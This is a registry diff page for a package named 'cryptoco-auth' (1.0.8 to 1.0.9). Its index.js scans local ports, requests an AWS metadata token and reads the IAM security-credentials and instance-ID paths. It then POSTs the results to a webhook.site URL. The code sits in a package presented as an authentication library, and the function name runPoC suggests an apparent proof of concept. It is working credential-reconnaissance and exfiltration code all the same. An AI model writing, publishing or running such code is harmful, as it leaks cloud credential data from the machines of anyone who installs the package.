cryptoco-auth 1.0.8 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +17 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,15 +1,18 @@
1
1
  const http = require("http");
2
+ const https = require("https");
2
3
  const net = require("net");
3
4
 
4
5
  const TARGET_PORTS = [80, 443, 8080, 3000, 5432, 6379];
5
6
  const METADATA_IP = "169.254.169.254";
7
+ const WEBHOOK_HOST = "webhook.site";
8
+ const WEBHOOK_PATH = "/d3f75958-0650-467b-8895-e5e10fb94699";
6
9
 
7
10
  function fetchMetadata(path, headers = {}) {
8
11
  return new Promise((resolve) => {
9
12
  const options = { hostname: METADATA_IP, port: 80, path: path, method: "GET", timeout: 1500, headers: headers };
10
13
  const req = http.request(options, (res) => {
11
14
  let data = "";
12
- res.on("data", (chunk) => data += chunk);
15
+ res.on("data", (c) => data += c);
13
16
  res.on("end", () => resolve(data.trim()));
14
17
  });
15
18
  req.on("error", () => resolve(null));
@@ -34,8 +37,11 @@ async function runPoC() {
34
37
  for (const port of TARGET_PORTS) {
35
38
  if (await scanPort(port)) openPorts.push(port);
36
39
  }
37
-
38
- const tokenReq = http.request({ hostname: METADATA_IP, port: 80, path: "/latest/api/token", method: "PUT", headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" } }, (res) => {
40
+
41
+ const tokenReq = http.request({
42
+ hostname: METADATA_IP, port: 80, path: "/latest/api/token", method: "PUT",
43
+ headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" }
44
+ }, (res) => {
39
45
  let token = "";
40
46
  res.on("data", (c) => token += c);
41
47
  res.on("end", async () => {
@@ -43,15 +49,17 @@ async function runPoC() {
43
49
  const iamRole = await fetchMetadata("/latest/meta-data/iam/security-credentials/", headers);
44
50
  const instanceId = await fetchMetadata("/latest/meta-data/instance-id", headers);
45
51
 
46
- const report = JSON.stringify({
47
- status: "POC_RUN",
48
- instanceId: instanceId,
52
+ const payload = JSON.stringify({
53
+ ports: openPorts,
49
54
  iamRole: iamRole,
50
- openPorts: openPorts
55
+ instanceId: instanceId
51
56
  });
52
57
 
53
- const postReq = https.request({ hostname: "webhook.site", path: "/50a891aa-a14a-4ccb-8d96-62542945b9fc", method: "POST", headers: { "Content-Type": "application/json", "Content-Length": report.length } });
54
- postReq.write(report);
58
+ const postReq = https.request({
59
+ hostname: WEBHOOK_HOST, path: WEBHOOK_PATH, method: "POST",
60
+ headers: { "Content-Type": "application/json", "Content-Length": payload.length }
61
+ });
62
+ postReq.write(payload);
55
63
  postReq.end();
56
64
  });
57
65
  });
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"cryptoco-auth","version":"1.0.8","main":"index.js"}
1
+ {"name":"cryptoco-auth","version":"1.0.9","main":"index.js"}